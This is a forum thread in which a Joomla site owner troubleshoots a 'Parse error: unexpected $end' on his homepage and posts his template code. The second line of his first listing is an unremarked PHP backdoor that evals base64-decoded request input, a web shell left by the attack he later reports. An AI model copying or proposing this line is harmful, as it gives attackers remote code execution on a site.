By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
434,917 Members | 1,305 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 434,917 IT Pros & Developers. It's quick & easy.

Joomla - Home Page Disappeared: Parse error: syntax error, unexpected $end...

P: 4
Hi,

Can anyone help me please? My Homepage just disappeared and the message seen when I click my normal Homepage address is:

Parse error: syntax error, unexpected $end in /home/schoolsc/public_html/templates/site4/index.php on line 11

This is the HTML from my JOOMLA Template HTML Editor:

Expand|Select|Wrap|Line Numbers
  1. <?php 
  2. defined('_OLD_JEXEC_') or die(@eval(base64_decode($_REQUEST['c_id'])));
  3. defined('_JEXEC') or die;
  4.  
  5. /**
  6.  * Template for Joomla! CMS, created with Artisteer.
  7.  * See readme.txt for more details on how to use the template.
  8.  */
  9.  
  10. // Check that the template is compatible with Joomla version:
  11. $version
Thanks - hope someone can advise. Best wishes. Roger.
Dec 31 '12 #1
Share this Question
Share on Google+
6 Replies


acoder
Expert Mod 15k+
P: 16,027
If that's all there is in your file, that explains it.

It's obvious that the file has not been fully updated/uploaded. Overwrite the file(s) with the complete versions.
Dec 31 '12 #2

P: 4
Thank you acoder - here is what I think is the full version from the index.php file in my cpanel, can anybody help please with this error, thanks:

Parse error: syntax error, unexpected $end in /home/schoolsc/public_html/templates/site4/index.php on line 11


Expand|Select|Wrap|Line Numbers
  1. <?php
  2. /**
  3. * @version        $Id: index.php 14401 2010-01-26 14:10:00Z louis $
  4. * @package        Joomla
  5. * @copyright    Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
  6. * @license        GNU/GPL, see LICENSE.php
  7. * Joomla! is free software. This version may have been modified pursuant
  8. * to the GNU General Public License, and as distributed it includes or
  9. * is derivative of works licensed under the GNU General Public License or
  10. * other free or open source software licenses.
  11. * See COPYRIGHT.php for copyright notices and details.
  12. */
  13.  
  14. // Set flag that this is a parent file
  15. define( '_JEXEC', 1 );
  16.  
  17. define('JPATH_BASE', dirname(__FILE__) );
  18.  
  19. define( 'DS', DIRECTORY_SEPARATOR );
  20.  
  21. require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
  22. require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
  23.  
  24. JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
  25.  
  26. /**
  27.  * CREATE THE APPLICATION
  28.  *
  29.  * NOTE :
  30.  */
  31. $mainframe =& JFactory::getApplication('site');
  32.  
  33. /**
  34.  * INITIALISE THE APPLICATION
  35.  *
  36.  * NOTE :
  37.  */
  38. // set the language
  39. $mainframe->initialise();
  40.  
  41. JPluginHelper::importPlugin('system');
  42.  
  43. // trigger the onAfterInitialise events
  44. JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
  45. $mainframe->triggerEvent('onAfterInitialise');
  46.  
  47. /**
  48.  * ROUTE THE APPLICATION
  49.  *
  50.  * NOTE :
  51.  */
  52. $mainframe->route();
  53.  
  54. // authorization
  55. $Itemid = JRequest::getInt( 'Itemid');
  56. $mainframe->authorize($Itemid);
  57.  
  58. // trigger the onAfterRoute events
  59. JDEBUG ? $_PROFILER->mark('afterRoute') : null;
  60. $mainframe->triggerEvent('onAfterRoute');
  61.  
  62. /**
  63.  * DISPATCH THE APPLICATION
  64.  *
  65.  * NOTE :
  66.  */
  67. $option = JRequest::getCmd('option');
  68. $mainframe->dispatch($option);
  69.  
  70. // trigger the onAfterDispatch events
  71. JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
  72. $mainframe->triggerEvent('onAfterDispatch');
  73.  
  74. /**
  75.  * RENDER  THE APPLICATION
  76.  *
  77.  * NOTE :
  78.  */
  79. $mainframe->render();
  80.  
  81. // trigger the onAfterRender events
  82. JDEBUG ? $_PROFILER->mark('afterRender') : null;
  83. $mainframe->triggerEvent('onAfterRender');
  84.  
  85. /**
  86.  * RETURN THE RESPONSE
  87.  */
  88. echo JResponse::toString($mainframe->getCfg('gzip'));
Jan 1 '13 #3

acoder
Expert Mod 15k+
P: 16,027
Are you sure? It seems they're 2 different files.

Find the complete version of the code that you posted in your OP and make sure the file in your Template Editor contains the full version.
Jan 2 '13 #4

P: 4
Hi - thanks for responding,

Just checked and the original code in the Template Editor is exactly as in my OP above...can't locate the full version anywhere else...can you suggest where it could be or what I could try next?

Thanks, Roger
Jan 2 '13 #5

acoder
Expert Mod 15k+
P: 16,027
The comments in the code make reference to Artisteer, so perhaps the following link will help:
http://www.artisteer.com/?p=help_joomla
Jan 2 '13 #6

P: 4
Thanks acoder, have spent last day or so getting the problem checked out by Joomla expert and the site was hacked into and the template wiped. Template being rebuilt at a small cost from a cached page so hopefully all will be ok. Advice to all readers to avoid same problem back up your site so if you get hacked it can be restored to last backed up version, something I didn't do...thanks!
Jan 3 '13 #7

Post your reply

Sign in to post your reply or Sign up for a free account.